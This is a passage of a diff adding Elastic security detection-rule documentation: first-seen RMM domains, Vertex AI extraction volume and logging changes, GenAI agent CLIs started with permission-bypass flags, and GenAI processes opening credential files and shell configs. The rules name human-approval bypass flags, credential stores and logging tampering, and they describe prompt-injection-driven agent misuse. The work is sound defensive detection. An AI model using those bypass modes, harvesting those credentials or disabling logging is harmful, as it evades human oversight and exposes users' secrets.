or + "Splashtop-streamer.exe" or + "SplashtopSOS.exe" or + "spsrv.exe" or + "sragent.exe" or + "SRService.exe" or + "srmanager.exe" or + "srserver.exe" or + "strwinclt.exe" or + "Supremo.exe" or + "SupremoService.exe" or + "Syncro.App.Runner.exe" or + "Syncro.Installer.exe" or + "Syncro.Overmind.Service.exe" or + "Syncro.Service.exe" or + "SyncroLive.Agent.exe" or + "SyncroLive.Agent.Runner.exe" or + "SyncroLive.Service.exe" or + "tacticalrmm.exe" or + "tailscale.exe" or + "tailscaled.exe" or + "teamviewer.exe" or + "teamviewer_desktop.exe" or + "teamviewer_service.exe" or + "TiAgent.exe" or + "TiClientCore.exe" or + "ToDesk_Service.exe" or + "ToolsIQ.exe" or + "TSClient.exe" or + "tvn.exe" or + "tvnserver.exe" or + "tvnviewer.exe" or + "twingate.exe" or + UltraVNC*.exe or + UltraViewer*.exe or + "Velociraptor.exe" or + "vncserver.exe" or + "vncviewer.exe" or + "winvnc.exe" or + "winwvc.exe" or + "ZA_Access.exe" or + "za_connect.exe" or + "Zaservice.exe" or + "ZMAgent.exe" or + "ZohoMeeting.exe" or + "zohotray.exe" or + "ZohoURS.exe" or + "ZohoURSService.exe" + ) + ) and + not (process.pe.original_file_name : ("G2M.exe" or "Updater.exe" or "powershell.exe") and process.code_signature.subject_name : "LogMeIn, Inc.") and + not ( + process.code_signature.subject_name : ("TeamViewer Germany GmbH" or "TeamViewer GmbH" or "TeamViewer") and + process.code_signature.trusted : true and process.name : "crashpad_handler.exe" + ) and + not ( + process.code_signature.subject_name : "ZOHO Corporation Private Limited" and process.code_signature.trusted : true and + process.executable : ( + C\:\\Program Files\\ManageEngine\\UEMS_Agent\\* or + C\:\\Program Files \(x86\)\\ManageEngine\\UEMS_Agent\\* or + C\:\\Program Files\\DesktopCentral_Agent\\* or + C\:\\Program Files \(x86\)\\DesktopCentral_Agent\\* + ) and + not process.name.caseless : ( + "dcondemand.exe" or "dcrdservice.exe" or "dc_rds.exe" or "dcrdsagentwindow.exe" + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Remote Access Tools +** ID: T1219 +** Reference URL: https://attack.mitre.org/techniques/T1219/ +* Sub-technique: +** Name: Remote Desktop Software +** ID: T1219.002 +** Reference URL: https://attack.mitre.org/techniques/T1219/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-first-time-seen-rmm-service-hostname-from-network-dns.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-first-time-seen-rmm-service-hostname-from-network-dns.asciidoc new file mode 100644 index 0000000000..7b6debf562 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-first-time-seen-rmm-service-hostname-from-network-dns.asciidoc @@ -0,0 +1,224 @@ +[[prebuilt-rule-8-19-36-first-time-seen-rmm-service-hostname-from-network-dns]] +=== First Time Seen RMM Service Hostname from Network DNS + +Identifies when a source IP first queries a domain associated with commonly abused Remote Monitoring and Management (RMM) software within the seven-day new-terms history window. RMM tools are legitimate administration products, but adversaries frequently install or abuse them for command and control, persistence, and remote execution. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-fortinet_fortigate.log-* +* logs-network_traffic.dns-* +* logs-suricata.eve-* +* logs-zeek.dns-* +* packetbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1219/ +* https://attack.mitre.org/techniques/T1219/002/ +* https://github.com/magicsword-io/LOLRMM/ +* https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-025a +* https://www.elastic.co/security-labs/tollbooth +* https://www.proofpoint.com/us/blog/threat-insight/remote-monitoring-and-management-rmm-tooling-increasingly-attackers-first-choice + +*Tags*: + +* Domain: Network +* Use Case: Network Security Monitoring +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Fortinet FortiGate +* Data Source: Network Packet Capture +* Data Source: Network Traffic +* Data Source: Suricata +* Data Source: Zeek +* Noise: Unknown +* Resources: Investigation Guide +* Rule Type: New Terms +* Threat: Remote Management Tool Abuse + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating First Time Seen RMM Service Hostname from Network DNS* + + +Remote Monitoring and Management (RMM) tools provide legitimate remote administration, but the same capabilities are +frequently abused for initial access, persistence, command execution, and command and control. This rule identifies the +first observed relationship between a DNS source and a curated RMM agent or service hostname, including ScreenConnect +relay subdomains, within the seven-day new-terms history window. Novelty is evaluated independently for each `source.ip` +and `dns.question.registered_domain` pair, not for the domain across the entire environment. Using the registered domain +as the novelty key prevents multiple service hostnames under the same registered domain from generating separate +alerts. Products that use multiple registered domains may generate more than one alert for the same client. + +The alert does not prove malicious RMM use. Passive DNS does not identify the requesting process, and `source.ip` may +represent a recursive resolver or forwarder depending on sensor placement. + + +*Possible investigation steps* + + +- Review `source.ip`, `dns.question.name`, `dns.question.registered_domain`, `dns.question.type`, `dns.response_code`, and + `dns.resolved_ip`. Confirm that `source.ip` represents an endpoint rather than shared DNS infrastructure. +- Identify the asset and owner associated with `source.ip` using DHCP, asset inventory, endpoint telemetry, or + `network.community_id`. +- Determine which RMM product owns the queried hostname and whether that product is approved for this asset, user, and + support window. +- Search DNS and TLS events for the same client before and after the alert. Look for additional RMM vendors, repeated + agent-control traffic, or connections to self-hosted relay infrastructure. +- Correlate with the endpoint rules "First Time Seen Remote Monitoring and Management Tool" and "First Time Seen DNS + Query to RMM Domain" when host telemetry is available. +- Review process, file, service, and persistence activity on the resolved endpoint. Unexpected installers, scripting + engines, user-writable execution paths, or remote-access services increase suspicion. +- Check for preceding delivery or social-engineering activity and for follow-on credential access, lateral movement, or + data staging. + + +*False positive analysis* + + +- A newly deployed or newly observed approved RMM agent is expected to alert once for each client and registered domain. +- Helpdesk, managed service provider, migration, and lab systems may legitimately contact several RMM services. +- Browser access to a vendor service hostname can match because network DNS telemetry lacks process context. +- Central resolvers can combine many endpoints under one `source.ip`. Do not create broad vendor exceptions until the + actual endpoint and business owner are known. +- Scope exceptions to a validated combination of client network or asset, hostname or domain, and approved operational + context. Avoid globally excluding a vendor domain. + + +*Response and remediation* + + +- If unauthorized RMM use is confirmed, preserve process, installer, service, account, and network evidence before + containment. +- Isolate the affected endpoint when active remote control or follow-on compromise is suspected. +- Remove unauthorized RMM software and persistence, revoke active sessions, and rotate credentials exposed through the + remote session. +- Block confirmed unauthorized agent or relay domains where organizational policy permits. +- Enforce an approved-RMM policy and retain DNS, TLS, and endpoint telemetry needed to distinguish authorized support + from adversary use. + + +==== Setup + + + +*Setup* + + +This rule requires DNS transaction events from one of the following DNS telemetry sources: + +- Elastic Network Packet Capture (`network_traffic.dns`) in `logs-network_traffic.dns-*` +- Fortinet FortiGate DNS logs (`fortinet_fortigate.log`) in `logs-fortinet_fortigate.log-*` +- Suricata EVE DNS events (`suricata.eve`) in `logs-suricata.eve-*` +- Zeek (`zeek.dns`) in `logs-zeek.dns-*` +- Legacy Packetbeat DNS events in `packetbeat-*` with `event.dataset` set to `dns` + +Place the sensor where it observes endpoint-to-resolver DNS traffic. If the sensor is upstream of a recursive resolver, +`source.ip` may identify the resolver instead of the originating endpoint. DNS over HTTPS, DNS over TLS, cached answers, +and asymmetric capture can create blind spots. + + +==== Rule query + + +[source, js] +---------------------------------- +( + data_stream.dataset:(fortinet_fortigate.log or network_traffic.dns or suricata.eve or zeek.dns) + or event.dataset:dns +) + and source.ip:* + and dns.question.registered_domain:* + and ( + dns.question.name:( + *-relay.screenconnect.com or + *-relay.screenconnect.com. or + "agent-api.atera.com" or + "agent-api.atera.com." or + "agenthb.atera.com" or + "agenthb.atera.com." or + "agentreporting.atera.com" or + "agentreporting.atera.com." or + "agents.level.io" or + "agents.level.io." or + "api.rustdesk.com" or + "api.rustdesk.com." or + "assist.zoho.com" or + "assist.zoho.com." or + "boot.net.anydesk.com" or + "boot.net.anydesk.com." or + "cc.centrastage.net" or + "cc.centrastage.net." or + "client.teamviewer.com" or + "client.teamviewer.com." or + "control.connectwise.com" or + "control.connectwise.com." or + "deploy01.kaseya.com" or + "deploy01.kaseya.com." or + "gateway.zohoassist.com" or + "gateway.zohoassist.com." or + "geo.netsupportsoftware.com" or + "geo.netsupportsoftware.com." or + "ld.aurelius.host" or + "ld.aurelius.host." or + "managedsupport.kaseya.net" or + "managedsupport.kaseya.net." or + "ps.atera.com" or + "ps.atera.com." or + "pubsub.atera.com" or + "pubsub.atera.com." or + "rescue-data-center.logmein-gateway.com" or + "rescue-data-center.logmein-gateway.com." or + "router15.teamviewer.com" or + "router15.teamviewer.com." or + "rs-ny.rustdesk.com" or + "rs-ny.rustdesk.com." or + "serv.superopsalpha.com" or + "serv.superopsalpha.com." or + "taf.teamviewer.com" or + "taf.teamviewer.com." + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Remote Access Tools +** ID: T1219 +** Reference URL: https://attack.mitre.org/techniques/T1219/ +* Sub-technique: +** Name: Remote Desktop Software +** ID: T1219.002 +** Reference URL: https://attack.mitre.org/techniques/T1219/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-gcp-vertex-ai-high-generatecontent-volume-from-single-ip.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-gcp-vertex-ai-high-generatecontent-volume-from-single-ip.asciidoc new file mode 100644 index 0000000000..7df71716d0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-gcp-vertex-ai-high-generatecontent-volume-from-single-ip.asciidoc @@ -0,0 +1,158 @@ +[[prebuilt-rule-8-19-36-gcp-vertex-ai-high-generatecontent-volume-from-single-ip]] +=== GCP Vertex AI High GenerateContent Volume From Single IP + +Detects a single source IP making a high number of Vertex AI GenerateContent (or StreamGenerateContent) audit calls against the same model resource in the lookback window. That pattern fits model extraction, automated scraping, or a compromised caller burning prediction quota. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/docs/reference/integrations/gcp_vertexai +* https://genai.owasp.org/llmrisk/llm10-model-theft + +*Tags*: + +* Domain: GenAI +* Domain: Cloud +* Data Source: GCP Vertex AI +* Data Source: GCP +* Data Source: Google Cloud Platform +* Platform: GCP +* Service: GCP Vertex AI +* Use Case: Model Theft +* Use Case: Threat Detection +* Tactic: Collection +* Threat: LLMjacking +* Threat: Unauthorized AI Usage +* Mitre Atlas: AML.T0024 +* Mitre Atlas: AML.T0024.002 +* Mitre Atlas: AML.T0029 +* Resources: Investigation Guide +* Rule Type: ES|QL + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GCP Vertex AI High GenerateContent Volume From Single IP* + + +A single `source.ip` issued an unusually high number of Vertex AI `GenerateContent` / +`StreamGenerateContent` audit calls against one model resource +(`gcp.vertexai.audit.resource_name`) in the lookback window. That pattern is consistent with +model extraction, automated scraping, or a compromised caller burning prediction quota. + + +*Possible investigation steps* + + +- Note `source.ip`, `gcp.vertexai.audit.resource_name`, `cloud.project.id`, and `Esql.event_count` + on the alert. Compare the count to the project's normal peak for that model. +- Confirm whether the IP is known egress for an approved app, CI runner, or shared NAT. Check + `Esql.event_action_values` for StreamGenerateContent vs GenerateContent mix. +- Pivot to `logs-gcp_vertexai.prompt_response_logs-*` for the same time window and model: sample + prompts, token volume, and whether content looks like systematic extraction (repetitive probes, + large context dumps). +- Pivot auditlogs for the same IP: other aiplatform methods, new service accounts, or + `SetPublisherModelConfig` changes that could hide or redirect logging. +- Identify `client.user.email` on matching GenerateContent audit events to map IP → principal. + + +*False positive analysis* + + +- Shared corporate NAT or proxy egress aggregating many legitimate users onto one IP. +- Approved batch evaluation, load tests, or data-migration jobs. Validate with change tickets and + expected schedules before escalating. + + +*Response and remediation* + + +- If unauthorized: revoke or rotate credentials for the calling principal, restrict the IP via VPC + Service Controls / firewall, and apply per-IP or per-principal quotas. +- Review billing and quota usage for the model; hunt for similar volume from other IPs in the same + project. + + +==== Setup + + + +*Setup* + + +Requires GCP Vertex AI `auditlogs` for `aiplatform.googleapis.com`. Raise `Esql.event_count` above your normal peak +before broad enablement. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-gcp_vertexai.auditlogs-* +| where + data_stream.dataset == "gcp_vertexai.auditlogs" and + source.ip is not null and + ( + event.action like "*PredictionService.GenerateContent*" or + event.action like "*PredictionService.StreamGenerateContent*" + ) and + (gcp.vertexai.audit.status.code is null or gcp.vertexai.audit.status.code == 0) +| stats + Esql.event_count = count(*), + Esql.timestamp_first_seen = min(@timestamp), + Esql.timestamp_last_seen = max(@timestamp), + Esql.event_action_values = values(event.action) + by + source.ip, + gcp.vertexai.audit.resource_name, + cloud.project.id +| where Esql.event_count >= 100 +| keep + source.ip, + gcp.vertexai.audit.resource_name, + cloud.project.id, + Esql.event_count, + Esql.timestamp_first_seen, + Esql.timestamp_last_seen, + Esql.event_action_values + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-gcp-vertex-ai-publisher-model-config-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-gcp-vertex-ai-publisher-model-config-modified.asciidoc new file mode 100644 index 0000000000..5310d25716 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-gcp-vertex-ai-publisher-model-config-modified.asciidoc @@ -0,0 +1,143 @@ +[[prebuilt-rule-8-19-36-gcp-vertex-ai-publisher-model-config-modified]] +=== GCP Vertex AI Publisher Model Config Modified + +Detects changes to Vertex AI publisher model configuration via SetPublisherModelConfig (for example enabling or retargeting prompt/response BigQuery logging). Unexpected config changes can disable security-relevant logging or redirect logs. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/docs/reference/integrations/gcp_vertexai +* https://cloud.google.com/vertex-ai/generative-ai/docs/multimodal/request-response-logging + +*Tags*: + +* Domain: GenAI +* Domain: Cloud +* Data Source: GCP Vertex AI +* Data Source: GCP +* Data Source: Google Cloud Platform +* Platform: GCP +* Service: GCP Vertex AI +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Threat: Unauthorized AI Usage +* Mitre Atlas: AML.T0015 +* Resources: Investigation Guide +* Rule Type: ES|QL + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GCP Vertex AI Publisher Model Config Modified* + + +Someone called `SetPublisherModelConfig` on a publisher model. That API can enable, disable, or +retarget prompt/response BigQuery logging and related publisher settings. Unexpected changes can +blind detection (logging off or redirected) or move sensitive prompt data to an unapproved sink. + + +*Possible investigation steps* + + +- Note `@timestamp`, `event.action`, `source.ip`, `client.user.email`, + `gcp.vertexai.audit.resource_name`, and `user_agent.original` on the alert. +- Confirm the actor is an approved platform owner. Check change tickets / IaC pipelines for a + matching change. +- In GCP, verify the publisher model config still points at the expected BigQuery dataset/table and + sampling rate. +- Compare `prompt_response_logs` volume before and after the change for gaps or a sudden destination + shift. +- Hunt for other privilege or config changes by the same principal around the same time. + + +*False positive analysis* + + +- Approved platform engineering work that enables or retargets logging. Validate with the change + ticket and expected actor/IP before escalating. + + +*Response and remediation* + + +- Revert unauthorized config to the last known-good logging destination and sampling settings. +- Restrict IAM who can call `SetPublisherModelConfig`; rotate credentials for the actor if + compromise is suspected. + + +==== Setup + + + +*Setup* + + +Requires GCP Vertex AI `auditlogs` via Pub/Sub sink for `aiplatform.googleapis.com`. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-gcp_vertexai.auditlogs-* metadata _id, _version, _index +| where + data_stream.dataset == "gcp_vertexai.auditlogs" and + event.action like "*SetPublisherModelConfig*" and + (gcp.vertexai.audit.status.code is null or gcp.vertexai.audit.status.code == 0) +| keep + _id, + _version, + _index, + @timestamp, + event.action, + cloud.project.id, + source.ip, + gcp.vertexai.audit.service_name, + gcp.vertexai.audit.resource_name, + client.user.email, + user_agent.original + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-genai-cli-started-with-unsafe-permission-bypass.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-genai-cli-started-with-unsafe-permission-bypass.asciidoc new file mode 100644 index 0000000000..3bc08c7868 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-genai-cli-started-with-unsafe-permission-bypass.asciidoc @@ -0,0 +1,201 @@ +[[prebuilt-rule-8-19-36-genai-cli-started-with-unsafe-permission-bypass]] +=== GenAI CLI Started with Unsafe Permission Bypass + +Identifies GenAI agent CLIs started with permission-bypass or auto-approval flags that disable human-in-the-loop guardrails. These modes are intended for isolated sandboxes but are frequently misused on internet-connected developer workstations, allowing prompt injection, compromised dependencies, or malicious skills to execute commands, modify files, or reach sensitive paths without confirmation. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://code.claude.com/docs/en/permission-modes +* https://developers.openai.com/codex/cli/reference +* https://developers.openai.com/codex/agent-approvals-security +* https://google-gemini.github.io/gemini-cli/docs/get-started/configuration.html +* https://specterops.io/blog/2025/11/21/an-evening-with-claude-code/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: macOS +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Unauthorized AI Usage +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Platform: Linux +* Platform: macOS +* Domain: GenAI +* Mitre Atlas: AML.T0081 +* Mitre Atlas: AML.T0053 + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GenAI CLI Started with Unsafe Permission Bypass* + + +GenAI coding agents normally prompt before running shell commands or editing files. Vendor-supplied bypass flags remove +those controls entirely or auto-approve all tool calls. On a networked host this materially increases blast radius from +prompt injection, poisoned MCP servers, malicious project configs, and autonomous agent workflows. + + +*Possible investigation steps* + + +- Identify which GenAI tool and bypass flag were used from `process.command_line` and `process.executable`. +- Determine whether the session was intentional (CI/CD, isolated lab VM) or an interactive developer workstation. +- Review child processes spawned after startup for credential access, network exfiltration, or persistence. +- Check for recent GenAI config changes (MCP servers, skills, `.claude/settings.json`, `~/.codex/config.toml`). +- Correlate with other GenAI-related alerts on the same host and user. + + +*False positive analysis* + + +- Deliberate use in approved sandbox/CI images with no outbound network access. +- Internal automation scripts that wrap GenAI CLIs with bypass flags; scope exceptions by host or user group. +- Each matching process start produces one alert; habitual bypass use in CI or developer workflows may need host or user exceptions. + + +*Response and remediation* + + +- Remove bypass flags from scripts, shell profiles, and CI job definitions; use default or plan-only permission modes. +- Rotate API keys and cloud credentials accessible to the user account that ran the agent. +- Audit GenAI tool configs and MCP servers loaded during the session. +- Restrict GenAI agent usage policies to disallow permission bypass on production endpoints. + + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and event.action in ("exec", "start") and +( + ( + process.args in ( + "--dangerously-skip-permissions", + "--allow-dangerously-skip-permissions", + "--permission-mode=bypassPermissions" + ) or + (process.args == "--permission-mode" and process.args == "bypassPermissions") + ) and + ( + process.name in ("claude", "claude.exe") or + process.executable : ( + "*/.local/share/claude/versions/*", + "*/.claude/downloads/*", + "*Caskroom/claude-code/*", + "*\\Claude\\versions\\*" + ) or + (process.name in ("node", "node.exe") and process.args : "*@anthropic-ai/claude-code*") + ) +) or +( + ( + process.args in ("--dangerously-bypass-approvals-and-sandbox", "--full-auto", "--yolo") or + process.command_line : ( + "* -s danger-full-access*", + "*--sandbox danger-full-access*", + "*--sandbox=danger-full-access*", + "*--ask-for-approval never*", + "*--ask-for-approval=never*" + ) + ) and + ( + process.name in ( + "codex", "codex.exe", "codex-exec", + "codex-aarch64-apple-darwin", "codex-x86_64-apple-darwin", + "codex-linux-arm64", "codex-linux-x64" + ) or + (process.name in ("node", "node.exe") and process.args : ("*@openai/codex*", "*/codex", "*\\codex*")) + ) +) or +( + ( + process.args in ("--yolo", "-y") or + (process.args == "--approval-mode" and process.args == "yolo") or + process.args == "--approval-mode=yolo" + ) and + ( + process.name in ("gemini", "gemini-cli", "gemini.exe", "gemini-cli.exe") or + (process.name in ("node", "node.exe") and process.args : ("*@google/gemini-cli*", "*/gemini", "*\\gemini*")) + ) +) or +( + ( + process.args in ( + "--yolo", + "--autopilot", + "--allow-all", + "--allow-all-tools", + "--allow-all-paths", + "--allow-all-urls" + ) + ) and + ( + process.name in ("copilot", "copilot.exe") or + (process.name in ("node", "node.exe") and process.args : ("*@github/copilot*", "*/copilot", "*\\copilot*")) + ) +) or +( + process.args == "--dangerously-skip-permissions" and + ( + process.name in ("opencode", "opencode.exe", ".opencode") or + process.executable : ("*opencode-ai*", "*\\.opencode*") or + (process.name in ("node", "node.exe") and process.args : ("*opencode-ai*", "*/opencode", "*\\opencode*")) + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-genai-process-accessing-sensitive-files.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-genai-process-accessing-sensitive-files.asciidoc new file mode 100644 index 0000000000..450031f32a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-genai-process-accessing-sensitive-files.asciidoc @@ -0,0 +1,213 @@ +[[prebuilt-rule-8-19-36-genai-process-accessing-sensitive-files]] +=== GenAI Process Accessing Sensitive Files + +Detects when GenAI tools access sensitive files such as cloud credentials, SSH keys, browser password databases, or shell configurations. Attackers leverage GenAI agents to systematically locate and exfiltrate credentials, API keys, and tokens. Access to credential stores (.aws/credentials, .ssh/id_*) suggests harvesting, while writes to shell configs (.bashrc, .zshrc) indicate persistence attempts. Note: On linux only creation events are available. Access events are not yet implemented. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://atlas.mitre.org/techniques/AML.T0085 +* https://atlas.mitre.org/techniques/AML.T0085.001 +* https://atlas.mitre.org/techniques/AML.T0055 +* https://glama.ai/blog/2025-11-11-the-lethal-trifecta-securing-model-context-protocol-against-data-flow-attacks +* https://www.elastic.co/security-labs/elastic-advances-llm-security +* https://specterops.io/blog/2025/11/21/an-evening-with-claude-code + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: macOS +* OS: Windows +* Use Case: Threat Detection +* Tactic: Collection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Platform: Linux +* Platform: macOS +* Domain: GenAI +* Mitre Atlas: AML.T0085 +* Mitre Atlas: AML.T0085.001 +* Mitre Atlas: AML.T0055 + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GenAI Process Accessing Sensitive Files* + + +This rule detects GenAI tools accessing credential files, SSH keys, browser data, or shell configurations. While GenAI tools legitimately access project files, access to sensitive credential stores is unusual and warrants investigation. + + +*Possible investigation steps* + + +- Review the GenAI process that triggered the alert to identify which tool is being used and verify if it's an expected/authorized tool. +- Investigate the user account associated with the GenAI process to determine if this activity is expected for that user. +- Review the types of sensitive files being accessed (credentials, keys, browser data, etc.) to assess the potential impact of credential harvesting or data exfiltration. +- Check for other alerts or suspicious activity on the same host around the same time, particularly network exfiltration events. +- Verify if the GenAI tool or extension is from a trusted source and if it's authorized for use in your environment. +- Determine if the GenAI process accessed multiple sensitive directories in sequence, an indication of credential harvesting. +- Check if the GenAI tool recently created or accessed AI agent config files, which may contain instructions enabling autonomous file scanning. +- Review whether the access was preceded by an MCP server, LangChain agent, or background automation. + + +*False positive analysis* + + +- Automated security scanning or auditing tools that leverage GenAI may access sensitive files as part of their normal operation. +- Development workflows that use GenAI tools for code analysis may occasionally access credential files. + + +*Response and remediation* + + +- Immediately review the GenAI process that accessed the documents to determine if it's compromised or malicious. +- Review, rotate, and revoke any API keys, tokens, or credentials that may have been exposed or used by the GenAI tool. +- Investigate the document access patterns to determine the scope of potential data exfiltration. +- Update security policies to restrict or monitor GenAI tool usage in the environment, especially for access to sensitive files. + + +==== Rule query + + +[source, js] +---------------------------------- +file where event.action in ("open", "creation", "modification") and event.outcome == "success" and + + // GenAI process + ( + process.name in~ ( + "ollama.exe", "ollama", + "textgen.exe", "textgen", "text-generation-webui.exe", "oobabooga.exe", + "lmstudio.exe", "lmstudio", "LM Studio", + "claude.exe", "claude", + "cursor.exe", "cursor", + "copilot.exe", "copilot", + "codex.exe", "codex", + "jan.exe", "jan", + "gpt4all.exe", "gpt4all", + "gemini-cli.exe", "gemini-cli", "gemini.exe", + "genaiscript.exe", "genaiscript", + "grok.exe", "grok", + "qwen.exe", "qwen", + "koboldcpp.exe", "koboldcpp", + "llama-server", "llama-cli", + "windsurf.exe", "windsurf", + "zed.exe", "zed", + "opencode.exe", "opencode", + "goose.exe", "goose" + ) + ) and + + // Sensitive file paths + ( + // Persistence via Shell configs + file.name in (".bashrc", ".bash_profile", ".zshrc", ".zshenv", ".zprofile", ".profile", ".bash_logout") or + + // Credentials In Files + file.name like~ + ("key?.db", + "logins.json", + "Login Data", + "Local State", + "signons.sqlite", + "Cookies", + "cookies.sqlite", + "Cookies.binarycookies", + "login.keychain-db", + "System.keychain", + "credentials.db", + "credentials", + "access_tokens.db", + "accessTokens.json", + "azureProfile.json", + "RDCMan.settings", + "known_hosts", + "KeePass.config.xml", + "Unattended.xml") + ) and not ( + host.os.type == "windows" and + file.name like~ "Local State" and + file.path : ( + "?:\\Users\\*\\AppData\\Roaming\\*\\Local State", + "?:\\Users\\*\\AppData\\Local\\Packages\\*\\LocalCache\\Roaming\\*\\Local State" + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Sub-technique: +** Name: RC Scripts +** ID: T1037.004 +** Reference URL: https://attack.mitre.org/techniques/T1037/004/ diff --git 